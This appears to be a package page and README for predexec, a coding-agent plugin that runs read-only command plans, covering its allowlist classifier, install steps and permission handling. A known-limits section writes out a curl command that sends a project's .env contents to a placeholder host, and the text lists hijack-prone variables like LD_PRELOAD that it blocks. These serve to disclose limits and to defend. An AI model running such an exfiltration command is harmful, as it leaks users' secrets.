predexec
Predictive execution: collapse an adaptive multi-level tool sequence into a single model round-trip via a deterministic plan tree. pi coding agent extension / opencode plugin / Claude Code MCP server.
Package details
Install predexec from npm and Pi will load the resources declared by the package manifest.
$ pi install npm:predexec- Package
predexec- Version
0.6.0- Published
- Sep 27, 2026
- Downloads
- 488/mo · 186/wk
- Author
- furiouszen
- License
- MIT
- Types
- extension, skill
- Size
- 844 KB
- Dependencies
- 2 dependencies · 1 peer
Pi manifest JSON
{
"skills": [
"./.pi/skills"
],
"extensions": [
"./dist/.pi/extension/index.js"
]
}Security note
Pi packages can execute code and influence agent behavior. Review the source before installing third-party packages.
README
predexec
Predictive execution for LLM coding agents. predexec collapses an adaptive, multi-level tool sequence into a single model round-trip: the model pre-compiles its branch decisions into a tree of deterministic predicates, and an engine walks the tree with no model call between levels. On a request-limited free provider this trades abundant tokens for scarce provider requests.
This package ships adapters for five coding-agent harnesses, each registering one tool,
predexec: a pi coding agent
extension, an opencode plugin (both its 1.x and 2.x plugin APIs), a
Claude Code MCP server, a
Codex CLI MCP server, and an
Antigravity CLI (agy) MCP server — Codex and Antigravity share
the same stdio server as Claude Code's, started with --host codex/--host antigravity to
select that host's policy reader and stats label.
See How it works below for the design and current status.
Status: read-only. The pure-TS core and all five adapters are done and unit-tested. predexec speculates read-only only — any write/install/delete hard-stops before running.
0.6.0 behavior change: unknown commands and repository scripts now stop. Classification is an allowlist: a command whose head predexec does not know is a
mutationStop(unknown command <head>), and so is anything that runs repository code —bash x.sh,./build.sh,python3 script.py,node x.js,node --test,npm test/npm run …,make,cargo run,npx, and similar. Before 0.6.0 both ran during speculation. The model recovers by running that step with the host's own shell tool; to let specific commands or scripts run inside a plan, list them in your user-level configuration.
How it works
The model fills in a plan tree: each node runs a batch of shell commands and/or read-only
tool calls (read/grep/find/ls); each edge is a machine-evaluable condition on that
node's output. After running a node, the engine
evaluates outgoing edges in order, follows the first match to a child, and repeats — with no
model in the loop. It stops and returns a transcript when it reaches:
| stop | meaning |
|---|---|
leaf |
no edges — success path complete (the only non-fallback stop) |
noEdgeMatch |
no edge matched — benign miss, agent resumes normally |
maxDepth |
depth cap hit |
mutationStop |
next node writes/installs/deletes — hard stop before any mutation |
error |
invalid plan (returned gracefully, never thrown) |
aborted |
abort signal |
Adaptive depth. Plan as deep as you can confidently predict each branch. A tree of one node with no edges is valid and expected — that's just running a command (depth 0). Depth scales up only when branches are genuinely predictable.
Condition DSL (confidence-tiered)
HIGH-confidence (may gate deeper speculation): exitCode, fileExists, jsonPath, numeric,
always. LOW-confidence (may branch only to a read-only node): match (regex over stdout/stderr).
What counts as read-only
Classification is an allowlist, checked statically before any node runs (core/destructive.ts
and core/shell/). A command is read-only only when every simple command in it is known:
- a curated reader (
ls,cat,grep,rg,jq, …), with per-head checks on the options that write or execute (sed -n 'w f',sort -o,find -exec, …); - a read verb of a multi-tool (
git,cargo,npm/pnpm/yarn,kubectl,docker,go,pip,brew,gh,curlGET). Any option not on that verb's own allowlist makes it mutating; - an interpreter one-liner (
python3 -c,node -e, here-strings and heredocs) whose program the language scanners and reader allowlists vet; - a shell builtin, or a head the user listed (see Configuration).
Everything else stops: an unknown head, repository code (scripts, task runners, python3 -m of a
non-stdlib module, interpreters fed a program on stdin), a command name computed at run time
($c), a write redirect, a command-bearing environment variable (PATH=., NODE_OPTIONS,
LD_PRELOAD, HOME/XDG_*), and arithmetic evaluated over data-derived variables (bash
evaluates $((c)) as code when c came from $(…), read or a loop). Anything the parser cannot
fully see stops as well. predexec never guesses in the read-only direction.
Under host permission rules, every path operand of every command is checked against the host's
read deny/ask rules, whatever the head. An operand built from data (xargs, while read loops,
$(…)) cannot be checked statically, so it stops whenever a deny or ask rule could cover it.
Known limits of a static classifier:
- Python
sys.pathshadowing. Allowed stdlib readers (python3 -m json.tool, imports in a-cprogram) search the current directory first, so a repository file named like a stdlib module runs instead. predexec cannot see the filesystem when it classifies. - Network GETs can leak data in the URL. An allowed
curlGET sends whatever the URL holds, socurl "https://host/?q=$(cat .env)"exfiltrates. Substitutions in operands still stop under deny rules, but a plan with no deny rules can build such a URL. - Recursive directory operands are not checked against deny rules.
grep -r x .orrg x .reads every file under the directory, including files a hostRead(...)rule denies. The directory itself is the only operand checked (the host's own shell tool has the same gap). - pnpm's
.pnpmfile.cjshooks are not modelled. pnpm may load a repository's.pnpmfile.cjson reader verbs such aspnpm listorpnpm why. This has not been measured, and predexec never runs a probe to find out, so those verbs stay read-only for now. Whether to stop them is an open decision. - rustup toolchain overrides are not modelled. A repository's
rust-toolchain.tomlcan name a custom toolchainpath, andcargo +toolchainselects one. rustup then runs that directory'scargofor every cargo reader (cargo version,cargo search, …). Stopping every cargo reader is a D1-scale decision left open. - Raw git objects are not mapped to paths.
git cat-file -p <sha>/git show <blob-sha>, and tree-widegit grep/git archive, can print a denied file's content. Mapping a hash to a path would take running git.
Harness support
How completely predexec's design survives contact with each harness. The score is fit, not quality of the harness — it drops when predexec has to reimplement or approximate something the design wants to get natively.
| pi | opencode | Claude Code | Codex | Antigravity | |
|---|---|---|---|---|---|
| Integration | in-process extension | in-process plugin (v1 {id,server} and v2 {id,setup}) |
out-of-process stdio MCP | out-of-process stdio MCP (same server as Claude Code) | out-of-process stdio MCP (same server as Claude Code) |
| Tool registration | native (pi.extensions) |
native (plugin array) |
MCP tool — the only route CC offers a third party | MCP tool — the only route Codex offers a third party | MCP tool — the only route agy offers a third party |
read/grep/find/ls |
the host's own tool factories — exact parity | v1: host SDK, with real caps. v2: no file API at all, so it shares Claude Code's mcp/tool-ops.ts |
own implementation over node:fs (rg/fd accelerate) |
same implementation as Claude Code (mcp/tool-ops.ts is shared) |
same implementation as Claude Code (mcp/tool-ops.ts is shared) |
| Steering | skill auto-loaded via pi.skills |
guarded system-prompt push, AGENTS.md, or (v1) an auto-registered packaged skill |
skill via plugin wrapper + tool description | AGENTS.md native (no plugin wrapper needed) + tool description, or a plugin-bundled skill |
plugin-bundled skill, install-skill, or AGENTS.md fallback + tool description |
| Streaming progress | yes (onUpdate) |
no | no | no | no |
| Host permission rules | n/a — pi has no per-command rules (project-trust only) | self-checked from permission.bash plus supported native read/grep/glob rules (with local list compatibility), last-match-wins; v1 can bridge an ask rule to a real host prompt via context.ask, v2 cannot |
self-enforced from settings.json, including mapped native read/search operations via supported Read/Grep/Glob rules (host rules don't reach a subprocess) |
self-enforced from persisted config.toml + execpolicy rules for shell/Bash only — no persisted native file-operation source and no OS sandbox backstop (MCP servers run outside it entirely, measured) |
self-enforced from ~/.gemini/antigravity-cli/settings.json grants (Deny>Ask>Allow), covering both shell and read_file tool ops — and no OS sandbox backstop (MCP servers run outside it too, measured) |
| Published format | compiled ESM (dist/) |
compiled ESM (dist/) |
compiled ESM (dist/) |
compiled ESM (dist/) |
compiled ESM (dist/) |
| Fit | 9 / 10 | 7 / 10 | 6 / 10 | 5 / 10 | 5 / 10 |
pi — 9. Everything the design wants exists natively: predexec borrows pi's real tool
implementations, so a plan's read is the read; the routing skill auto-registers; progress
streams. Nothing is approximated. The missing point is not predexec's doing — pi has no
per-command permission model to honor, so the mutation hard-stop is the only guard, and pi ships
no sandbox.
opencode — 7. Native tool registration and a real permission model predexec enforces. Points
lost to measured SDK limits that predexec can only report, not fix: grep is hard-capped at 10
matches server-side, file.read has no offset/limit and returns trimmed content, and find is
fuzzy where pi's is glob-based. An npm-installed plugin also can't auto-register a skill, so
steering falls back to a guarded system-prompt push. In addition to Bash, predexec self-checks
supported native read, grep, and glob permissions (with the repository's legacy list
compatibility shape retained).
Claude Code — 6. It works, and MCP is the only door — but out-of-process costs are real.
There are no host tool factories, so mcp/tool-ops.ts is a second implementation of
read/grep/find/ls with its own behavior (.gitignore handling, regex dialect, output format).
Your Bash(...) rules don't reach the subprocess, so predexec re-reads and enforces them
itself. No streaming progress. What it does keep is the thing that matters: the same core/
engine, the same plan tree, the same hard-stops.
Codex — 5. Literally the same mcp/server.ts and mcp/tool-ops.ts as Claude Code (started
with --host codex), so the same out-of-process costs apply: a second read/grep/find/ls
implementation, no streaming. Two things make the fit worse than Claude Code's slot. First,
Codex spawns MCP servers entirely outside its own sandbox — measured directly, not
inferred: a probe server wrote to disk with zero error while the session's own shell tool was
confined to a read-only sandbox — so there is no OS-level backstop at all, only
mcp/policy-codex.ts's config.toml/execpolicy-rules reading and predexec's own
destructive.ts heuristic (see the sandbox warning under Codex CLI below).
Its persisted policy checker is intentionally shell/Bash-only: Codex has no persisted native
file-operation rule source for predexec to mirror, so native read/search operations continue
through predexec's own read-only and containment guards.
Second, Codex's default per-call approval mode treats an unannotated tool as destructive, so
declaring readOnlyHint: true is load-bearing just to run a plan without a prompt under
default settings (per Codex's source), not merely a nicety. What's better here: Codex now
supports both a self-hosting plugin (.codex-plugin/, .agents/plugins/marketplace.json — see
Codex CLI below) and a native AGENTS.md fallback that needs no plugin wrapper
at all, unlike Claude Code, which has only the MCP/plugin route.
Antigravity — 5. Same shape as Codex's slot, for the same reason: the identical
mcp/server.ts/mcp/tool-ops.ts, started with --host antigravity, so the same out-of-process
costs apply. Also the same worst-case sandbox story — measured, not inferred: agy runs MCP
servers entirely outside its own terminal sandbox, even under --sandbox, so
mcp/policy-antigravity.ts's settings-grant reading and predexec's own destructive.ts are the
only containment, exactly as with Codex. Session-root resolution is a genuine extra cost this
harness pays that the others don't: a non-plugin server's cwd is wherever agy was launched from
(no CLAUDE_PROJECT_DIR-equivalent, no env host marker at all), and a plugin server's cwd is
always the plugin's own directory, never the workspace, so the plugin form additionally needs
PREDEXEC_ROOT/--root to work at all (see Antigravity CLI below). What
keeps it at parity with Codex rather than below it: unlike Codex's Bash-only persisted policy,
Antigravity's settings grants cover both shell commands and read_file-style tool ops, so
native read/search operations get the same host-permission enforcement shell commands do, not just
predexec's own containment.
Install
The short version — every host takes a plugin path (bundles the MCP/extension registration and the routing skill together, one command), a manual path (register the tool yourself, no plugin), and a skill step (only needed on the manual path, or as a fallback):
| harness | plugin path | manual path | skill step |
|---|---|---|---|
| pi | pi install npm:predexec (bundles the skill) |
— (pi has no separate manual form) | none needed |
| opencode | — (opencode has no plugin-bundle concept; "plugin": ["predexec"] in opencode.json IS the whole install) |
same "plugin": ["predexec"] step |
none needed — v1's config hook / v2's ctx.skill.transform auto-register the packaged skill; install-skill opencode is a manual fallback |
| Claude Code | /plugin marketplace add FuriousZen/predexec + /plugin install predexec@predexec (bundles the skill) |
claude mcp add predexec -- npx -y --package=predexec predexec-mcp |
npx -y predexec install-skill claude (manual path only) |
| Codex | codex plugin marketplace add FuriousZen/predexec + codex plugin add predexec@predexec (bundles the skill, forwards CODEX_HOME) |
codex mcp add predexec -- npx -y --package=predexec predexec-mcp --host codex |
npx -y predexec install-skill codex (manual path only); or the no-MCP AGENTS.md fallback |
| Antigravity | no marketplace — installs from the package directory: agy plugin install <node_modules/predexec/antigravity-plugin> (bundles the skill; needs PREDEXEC_ROOT set in the shell that launches agy, see below) |
agy mcp add predexec npx -- -y --package=predexec predexec-mcp --host antigravity (recommended — no extra config needed) |
npx -y predexec install-skill antigravity (manual path only); or the no-MCP AGENTS.md fallback |
Every host also gets the same two verification commands once installed:
npx -y predexec doctor # static install + skill checks for all five hosts at once
npx -y predexec doctor --live # + spawns opencode and probes tool registration (opencode only)
doctor's [x]/[!]/[ ]/[-] states and its skill-discovery checks are explained in
Doctor & stats below; install-skill's per-harness destination paths are in the
table there too. The per-harness sections below go into the install and permissions detail that
table can't hold — read the one for your harness.
pi coding agent
pi install npm:predexec
That's the whole install. pi fetches the package from npm, runs npm install --omit=dev,
and registers the predexec tool from the package's
pi.extensions manifest (plus a terse routing skill from pi.skills,
.pi/skills/predexec/SKILL.md) — runs compiled ESM from dist/. Once pi
starts, the model routes multi-step work through it on its own.
pi -e npm:predexec # try it for one run, no settings change
pi remove npm:predexec # uninstall
pi update --extensions # update installed packages
Verify:
pi list # must show npm:predexec and its install path
npx -y predexec doctor # install checks: [x] green, [!] broken, [ ] not wired
Then start pi and try the prompt under A prompt to see it work —
the tool result's details (pathTaken, stoppedReason) confirm the engine actually walked
a plan tree.
To install from the git repo HEAD instead of the published npm release:
pi install git:github.com/FuriousZen/predexec
Prerequisites: Node 22+ and the pi coding agent on PATH (npm i -g @earendil-works/pi-coding-agent), authenticated for some provider. The simplest way is an env
var — pi auto-detects provider keys from the environment (OPENCODE_API_KEY, NVIDIA_API_KEY,
OPENROUTER_API_KEY, …), so no ~/.pi editing is required.
opencode
Add predexec to your opencode.json (project root, or ~/.config/opencode/opencode.json for global):
{
"$schema": "https://opencode.ai/config.json",
"plugin": ["predexec"]
}
That's the whole install — opencode resolves the plugin from npm, loads dist/.opencode/plugins/predexec.js
in-process via Bun, and registers the predexec tool natively. No global install, no wrapper file.
Restart opencode after editing.
To update, note that "predexec@latest" does not re-resolve on its own: opencode caches the
package in a directory literally named predexec@latest and reuses it across restarts. Clear the
cache first:
rm -rf ~/.cache/opencode/packages/predexec@latest # then restart opencode
Verify (no model request needed):
npx -y predexec doctor # static install checks
npx -y predexec doctor --live # live probe: spawns opencode, confirms tool registered
opencode serve --port 4599 &
curl -s localhost:4599/experimental/tool/ids # must include "predexec"
If predexec is missing from the list, the plugin was silently skipped — opencode surfaces
plugin load failures only as internal session events, so this curl is the reliable check.
Then, in a session, try the prompt under A prompt to see it work.
The plugin ships its own routing skill (skills/opencode/predexec/SKILL.md) automatically:
its config hook appends the packaged skill directory's absolute path to skills.paths
on opencode's live config object, so predexec shows up in the model's skill list with no
install-skill step. It also injects a one-line routing rule into the system prompt as a
guarded fallback, for an agent whose tools.skill:false or a permission.skill deny
rule hides skills entirely, or for a host/version where the config hook doesn't take effect
(see docs/research/opencode-skills.md).
To steer declaratively instead — or as a fallback for either case above — copy the routing
block into your project's AGENTS.md:
curl -fsSL https://raw.githubusercontent.com/FuriousZen/predexec/main/configs/opencode/AGENTS.md -o AGENTS.md
(A plugin install has no project node_modules — opencode keeps the package in its own
cache — so fetch the block from the repo, or cp configs/opencode/AGENTS.md from a clone.)
When opencode loads that natively, the plugin detects it (a quorum of routing-rule markers, not a mere mention of the name) and skips its own injection — no duplication.
For local development, opencode also auto-discovers .opencode/plugins/*.ts, so running opencode
inside a clone of this repo picks up .opencode/plugins/predexec.ts directly.
opencode 1.x and 2.x both work from the same install above. opencode 2.x rejected the 1.x
plugin export shape outright until this package's default export started satisfying both; no
separate config or install step is needed for either major. Two things differ on 2.x: its plugin
API has no ask, so a static ask permission rule always hard-stops the plan instead of
prompting (1.x can bridge it to a real host prompt via context.ask); and it has no file/find API
at all, so read/grep/find/ls run through the same mcp/tool-ops.ts implementation Claude
Code and Codex use, not the opencode SDK client 1.x uses.
opencode 2.x also reads permission rules from agent/mode markdown files. predexec parses their YAML
frontmatter strictly: plain permission keys may contain spaces and globs (git *: allow), and
values may contain a bare : (model ids, URLs), but anything it cannot parse with certainty (a
: inside a plain value, an unquoted value js-yaml would type as something other than a string,
such as yes, ~, 0x1F or 1e3, tabs, anchors, …) makes that agent deny-all rather than
guessed. npx -y predexec doctor names each
such file with the line and reason, so quoting that value fixes it.
Prerequisites: the opencode CLI installed and authenticated for some provider.
predexec's payoff is largest on a request-limited free tier (OpenCode Zen free models, NVIDIA NIM, OpenRouter free).
Using the devcontainer? It lives in the parent directory of this repo, not inside it, so a plain
git cloneof predexec does not bring it along. Where it is present,post-createauto-installs predexec on every rebuild and.devcontainer/.envsupplies the provider keys.
Claude Code
Claude Code has no in-process tool-registration API for third parties — a plugin ships skills,
agents, hooks, MCP servers and LSP servers, but cannot register a tool. So predexec reaches
Claude Code as a small stdio MCP server exposing the same single predexec tool, backed by
the same core/ engine as the other two adapters.
Install as a plugin (recommended):
/plugin marketplace add FuriousZen/predexec
/plugin install predexec@predexec
This installs the version-pinned MCP server and the routing skill together, both declared in
.claude-plugin/plugin.json / marketplace.json — no separate skill-install step.
Verify:
claude plugin list # predexec@predexec → ✔ enabled
npx -y predexec doctor # shows the plugin install and its bundled skill
Alternative: MCP server only, no plugin. Skips the marketplace entirely:
claude mcp add predexec -- npx -y --package=predexec predexec-mcp
npx -y predexec install-skill claude
Use --scope project to share the server with a repo (writes .mcp.json, which each
collaborator approves once), or --scope user for every project on the machine.
install-skill claude copies the routing skill in separately, since this path has no plugin
manifest to bundle it.
claude mcp list # predexec → ✔ Connected
npx -y predexec doctor # shows the registered scope, and flags "awaiting approval"
Don't do both. The plugin's
.claude-plugin/plugin.jsonalready inlines the same MCP server; also runningclaude mcp addregisters a secondpredexecserver that competes with the plugin's for the same tool name. Pick one install path.
Then try the prompt under A prompt to see it work.
Permissions — read this one
An MCP server is a separate process, so the shell commands predexec runs inside it are not
filtered by your Claude Code Bash(...) allow/ask/deny rules. Anthropic documents this directly:
deny rules "don't apply to arbitrary subprocesses that read or write files indirectly."
predexec therefore enforces your rules itself: it reads your settings (managed →
.claude/settings.local.json → .claude/settings.json → ~/.claude/settings.json) and
hard-stops before running anything a deny or ask rule would have caught — it cannot
prompt mid-walk, so it stops instead. predexec is always at least as strict as the host, never
less. Two limits worth knowing:
--allowedTools/--disallowedToolspassed on the CLI are invisible to a subprocess and cannot be honored. Put rules you rely on in a settings file.- predexec's MCP
read/grep/find/lsoperations are self-checked against the supportedRead(...),Grep(...), andGlob(...)rules in Claude settings. Unsupported Claude permission shapes and CLI-only flags cannot be mirrored by the subprocess. For OS-level enforcement that binds every process, enable sandboxing.
MCP read/grep/find/ls paths are checked after symlink resolution and cannot leave the
session root; dependency symlinks below an exact node_modules path segment are the sole
exception.
Native operation limits are bounded before execution: read accepts at most 10,000 lines,
grep/find at most 1,000 results, ls at most 5,000 entries, grep patterns at most
8,192 characters, and grep context at most 100 lines per side. Limits and offsets are positive
integers; omitted values keep adapter defaults.
The MCP adapter revalidates canonical paths at operation boundaries, post-validates search result
paths, uses stable directory handles for local walks/listings, and opens files with O_NOFOLLOW
where the platform exposes that flag. Node does not provide a portable openat/readdirat
traversal API, so a malicious concurrent rename/replacement of a parent directory can still
race a pathname-based open or an rg/fd accelerator; this is outside the adapter's
single-process threat model.
Plugin form, in detail
The repo is itself a self-hosting Claude Code plugin and marketplace: .claude-plugin/ plugin.json bundles the MCP server with the routing skill (skills → ./skills/claude/), and
.claude-plugin/marketplace.json lists that same plugin with source: "./" — one repo, one
git clone/add away from an install by name. The server config is inlined in the manifest
rather than kept in a root .mcp.json — a root .mcp.json is a live project-scope registration,
so it would prompt anyone who merely opened this repo in Claude Code. It shells out to the same
version-pinned npx command rather than vendoring node_modules, so there is no
dependency-bundling step; scripts/sync-plugin-version.mjs keeps both manifests' version and
the npx --package=predexec@… pin in step with package.json on every npm version.
Codex CLI
Codex has no in-process tool-registration API either, so predexec reaches it the same way it
reaches Claude Code: the identical stdio MCP server, mcp/server.ts. Only the policy reader and
stats label differ, and — because Codex clears every CODEX_* env var before spawning the
subprocess (measured; there is no equivalent of CLAUDE_PROJECT_DIR), so the server cannot
detect its host on its own — they're selected explicitly with a flag: --host codex.
Install as a plugin (recommended):
codex plugin marketplace add FuriousZen/predexec
codex plugin add predexec@predexec
This installs the version-pinned MCP server and the routing skill together, both declared in
.codex-plugin/plugin.json / .agents/plugins/marketplace.json — no separate skill-install step.
The plugin's MCP registration also forwards CODEX_HOME and predexec's user-config variables
(PREDEXEC_READONLY_HEADS, PREDEXEC_ALLOW_SCRIPTS, XDG_CONFIG_HOME) into the subprocess via
env_vars — Codex starts an MCP child with an almost empty environment, and a bare
codex mcp add cannot request this (see the sandbox note below).
Verify:
codex mcp list # predexec → enabled, Env column shows CODEX_HOME=*****
npx -y predexec doctor # shows the plugin install and its bundled skill
Alternative: MCP server only, no plugin. Skips the marketplace entirely:
codex mcp add predexec -- npx -y --package=predexec predexec-mcp --host codex
npx -y predexec install-skill codex
codex mcp add registers globally (~/.codex/config.toml) — there's no per-project scope
flag the way Claude Code has --scope project. This path has no manifest to request env
forwarding, so if your shell sets a custom CODEX_HOME, or you use predexec's environment
settings or a custom XDG_CONFIG_HOME (see Configuration), add them by hand (npx -y predexec doctor
flags a registration that's missing this):
[mcp_servers.predexec]
env_vars = ["CODEX_HOME", "PREDEXEC_READONLY_HEADS", "PREDEXEC_ALLOW_SCRIPTS", "XDG_CONFIG_HOME"]
install-skill codex copies the routing skill in separately, since this path has no plugin
manifest to bundle it.
Verify:
codex mcp get predexec --json # transport.command/args populated, "enabled": true
npx -y predexec doctor # shows the registered scope, flags a broken install
Timeouts. startup_timeout_sec / tool_timeout_sec defaults are version-dependent (the
docs say 10s/60s, the source at the time of writing says 30s/300s) — a long plan tree is safer
with an explicit value. Add it to ~/.codex/config.toml:
[mcp_servers.predexec]
command = "npx"
args = ["-y", "--package=predexec", "predexec-mcp", "--host", "codex"]
env_vars = ["CODEX_HOME", "PREDEXEC_READONLY_HEADS", "PREDEXEC_ALLOW_SCRIPTS", "XDG_CONFIG_HOME"]
tool_timeout_sec = 120
Fallback: AGENTS.md, no MCP tool at all. Only useful when you can't register an MCP server
— this steers Codex's prose, it registers no tool and bundles no skill. Codex loads a project's
AGENTS.md natively and concatenates it (repo root down to your working directory) under a
32 KiB combined cap, so append to an existing file rather than clobbering it:
curl -fsSL https://raw.githubusercontent.com/FuriousZen/predexec/main/configs/codex/AGENTS.md >> AGENTS.md
configs/codex/AGENTS.md ships paste-ready (no install commentary in the file itself), so
appending it straight into an existing AGENTS.md — or a fresh one — works either way; keep the
block as shipped rather than padding it.
Don't combine the plugin with the AGENTS.md fallback. The plugin already bundles the routing
skill, so adding the block as well loads the same routing rules twice; pick one. If you move from
the fallback to the plugin, remove the block from AGENTS.md.
Sandbox — read this one
Codex runs MCP servers OUTSIDE its sandbox. Measured directly: under a
read-onlysession sandbox, a throwaway probe MCP server still wrote a log line to disk with zero error — the child process was never inside Seatbelt (macOS) / Landlock+bwrap (Linux) at all. Every shell command a predexec plan runs bypasses Codex's sandbox entirely, regardless ofsandbox_mode/ the active permission profile, because those govern Codex's own shell tool, not an MCP subprocess. predexec's read-only invariant, thedestructive.tsheuristic, and the fail-closed execpolicy-rules adapter (reads~/.codex/config.tomlmerged over/etc/codex/config.tomlfor project trust, plus/etc/codex/rules,~/.codex/rules/*.rules/<repo>/.codex/rules/) are the only containment — there is no OS-level backstop the way Claude Code's sandboxing docs offer. Session-only CLI flags (--sandbox,-a/--ask-for-approval,--profile,--full-auto) are a config layer that never touches disk, so predexec cannot see or honor them either — parallel to Claude Code's--allowedToolsgap, except here nothing else is watching. This is not a defect predexec can fix; it is how Codex spawns MCP servers, and it means every predexec-run command deserves the same trust you'd give a command Codex's sandbox wasn't guarding at all.predexec also declares
readOnlyHint: trueon its tool so Codex's per-call approval flow (defaultauto, which otherwise treats an unannotated tool as destructive and prompts every call) runs plans without a prompt. That's an approval-UX convenience, not a sandbox, and changes nothing above.One more asymmetry worth knowing: Codex pipes MCP server stderr into its own log store, not the TUI. On the build this was verified against (0.149.1), a deliberately written stderr line did not surface in either the documented log location or its replacement — treat stderr as unrecoverable and rely on the tool's own text result, never diagnostic logging, when a plan fails.
Antigravity CLI (agy)
The same stdio MCP server, started with --host antigravity. agy passes no host marker in the
subprocess env (measured), so the flag is required. It selects the Antigravity policy reader
(mcp/policy-antigravity.ts) and the antigravity stats label.
Install (recommended): a normal, non-plugin MCP registration. A non-plugin server's cwd is
wherever agy is launched from (measured — see Session root below), so predexec's root-resolution
ancestor walk finds your project automatically, with no extra configuration:
agy mcp add predexec npx -- -y --package=predexec predexec-mcp --host antigravity
npx -y predexec install-skill antigravity
agy mcp add writes ~/.gemini/config/mcp_config.json (global — every workspace). For a
per-project registration instead, write the same shape by hand into .agents/mcp_config.json at
your workspace root (agy's .agents/ customization root also loads a workspace-scoped
mcp_config.json from there, the same mechanism it uses for .agents/skills/):
{
"mcpServers": {
"predexec": {
"command": "npx",
"args": ["-y", "--package=predexec", "predexec-mcp", "--host", "antigravity"]
}
}
}
Verify:
npx -y predexec doctor # shows the mcp_config.json registration and its skill
Alternative: the plugin form (antigravity-plugin/ in this package) bundles the MCP server
with the routing skill in one step, mirroring the Claude Code / Codex plugin forms:
agy plugin install <path to node_modules/predexec/antigravity-plugin>
The plugin form needs one extra step you don't need above:
PREDEXEC_ROOT. A plugin's MCP server always runs with cwd = the plugin's own directory (PLUGIN_ROOT), never your workspace (measured). agy'smcp_config.jsonschema has no${workspaceFolder}-style variable substitution to work around that — checked directly against agy's own bundled docs (~/.gemini/antigravity/builtin/skills/agy-customizations/docs/), which document none for this file. So--host antigravityrefuses every plan under the plugin form until it's told where the workspace is: exportPREDEXEC_ROOTin the shell that launchesagy(agy forwards its full inherited environment to MCP children — measured), e.g.PREDEXEC_ROOT=$(pwd) agy, or add--root <dir>to the plugin's own copy ofmcp_config.jsonafter installing it. This is exactly why the non-plugin form above is the recommended install: it needs neither step.
install-skill antigravity (needed for the non-plugin form; the plugin form bundles its own copy
already) copies the routing skill to ~/.gemini/config/skills/predexec/ (global — Ruling R3,
supported by Task 19's static evidence; pass --project for .agents/skills/predexec/ instead).
A fallback with no MCP tool at all, the same idea as Codex's AGENTS.md fallback, ships at
configs/antigravity/AGENTS.md — paste it into your workspace's AGENTS.md when you
can't register an MCP server at all.
Session root. agy starts a workspace MCP server in the directory agy was launched from,
which may be a subdirectory. It starts a plugin server in the plugin's own directory, with
PLUGIN_ROOT set (both measured). predexec therefore resolves its root in this order:
--root <dir>in the server args, orPREDEXEC_ROOT=<dir>in the server env.- If running as a plugin server (cwd at or inside
PLUGIN_ROOT) with neither set: every plan fails with an error telling you to set one. The plugin directory is never used as the workspace. - Otherwise, the nearest ancestor of the launch dir that contains
.gitor.agentsand lies strictly below$HOME. The walk never selects$HOMEor anything above it, so a stray~/.agentscannot widen the root to your whole home directory. - Otherwise, the launch dir itself (which is how launching from
~yields~).
--root is rejected with any other --host.
Permissions. Grants are read from ~/.gemini/antigravity-cli/settings.json
(permissions.{deny,ask,allow}, toolPermission, allowNonWorkspaceAccess), per
https://antigravity.google/docs/permissions. Shell commands are checked against command(...)
grants and read/grep/find/ls against read_file(...) grants, with Deny > Ask > Allow. A deny or
ask match hard-stops the walk. Under toolPermission: "strict" (or an unknown mode), an
operation stops unless an allow grant covers it. A read_file deny or ask also stops a
grep/find/ls whose search directory contains the denied path. allowNonWorkspaceAccess: false stops tool ops
that reach outside the workspace. A settings file that will not parse stops everything. So does
a deny/ask grant predexec cannot evaluate, such as an unknown syntax or a regex: that could
backtrack catastrophically. Grants made in the app/IDE UI and per-project grants are not
readable and are not applied. agy runs MCP servers outside its terminal sandbox, even with
--sandbox (measured), so, as with Codex, this policy check and predexec's read-only
enforcement are the only containment.
A prompt to see it work
A read-only, structurally predictable task — predexec's sweet spot:
Detect this project's package manager and find the command that runs its tests.
The model can plan one tree: probe for a lockfile / read package.json scripts, branch on
what it finds (fileExists pnpm-lock.yaml, jsonPath scripts.test exists), and read the right
test command — resolving several branch points in a single round-trip instead of one model
call per step. Running the tests themselves is repository code, so that step stops
(mutationStop) and the model runs it with the host's shell tool, unless you
allowlist it. On pi and opencode, inspect the tool result's details (depthReached,
pathTaken, stoppedReason, edgesEvaluated/edgesMatched) to see the path the engine
walked. The Claude Code MCP adapter returns only the transcript text to the model — details
never reaches it there — so on Claude Code, check the transcript and run npx -y predexec stats for the same accounting.
Configuration
predexec has one user-level configuration: two lists that widen what it treats as read-only. Both are empty by default.
| setting | environment variable | config.json key |
effect |
|---|---|---|---|
| extra read-only heads | PREDEXEC_READONLY_HEADS |
readOnlyHeads |
commands you declare pure readers, so they no longer stop as unknown command |
| allowed scripts | PREDEXEC_ALLOW_SCRIPTS |
allowScripts |
repository scripts and task-runner commands you trust to run during speculation |
Environment values are comma-separated. The file is $XDG_CONFIG_HOME/predexec/config.json
(default ~/.config/predexec/config.json); a relative XDG_CONFIG_HOME is never used for the path,
and a relative HOME or XDG_CONFIG_HOME disables the allowlists (see Security below). The two sources
are merged:
{
"readOnlyHeads": ["mytool --list"],
"allowScripts": ["npm run lint", "scripts/report.py"]
}
A file that is malformed, too large (over 64 KiB), or has an unknown key contributes nothing; the tool result carries a warning naming it.
How entries match. Each entry is split into words the way a shell would, and matches when
those words are an exact prefix of the command's argv (after wrappers such as env and leading
VAR=value assignments are dropped). Trailing arguments are not checked: npm run lint also
allows npm run lint --fix. A one-word allowScripts entry may instead name the script path
itself (scripts/report.py allows python3 scripts/report.py), but only when every option
before the script is one predexec knows takes no value: perl -I lib x.pl, node -r ./y.js x.js
or python3 -W ignore x.py name no script, so only an exact-prefix entry matches them. Only the
argv is matched, so ./x.sh can be allowlisted but does not cover bash ./x.sh, and no entry
can: running a script through a shell interpreter is a separate stop that the allowlist never
lifts.
An allowScripts entry lifts only the "runs repository script" stop; every other check still
applies to the command. Two consequences worth knowing before you add an entry:
- An allowlisted run executes code the repository controls, with your permissions. Allowlist only scripts you trust not to write.
- Environment steering is not re-checked. An allowlisted command can still behave differently
depending on the environment it inherits, such as
SHELL=./x make test, or a tool's own config file in the repository. predexec stops the command-bearing variables it knows (PATH,NODE_OPTIONS,MAKEFLAGS,RUSTC_WRAPPER, …) when the plan sets them, but it cannot enumerate every variable every tool reads. Environment the host injects (Claude Code projectsettings.jsonenv, an.mcp.jsonenvblock, Bun's automatic.envloading, Codex or Antigravity project MCP env) is a host feature outside predexec's containment.
Absolute command paths under /usr/ (which includes /usr/local/), /bin/, /sbin/,
/opt/homebrew/ and /nix/store/ count as system programs, not repository files. A symlink
installed there that points into a repository is not detected.
Security: where the lists come from, and what a repository can reach. predexec reads these
lists only from its own process environment and from the user-level file above; it never looks for
a config file inside the repository. A repository can still reach those two sources indirectly, so
predexec checks for the cases it can see and then disables the allowlists for that session
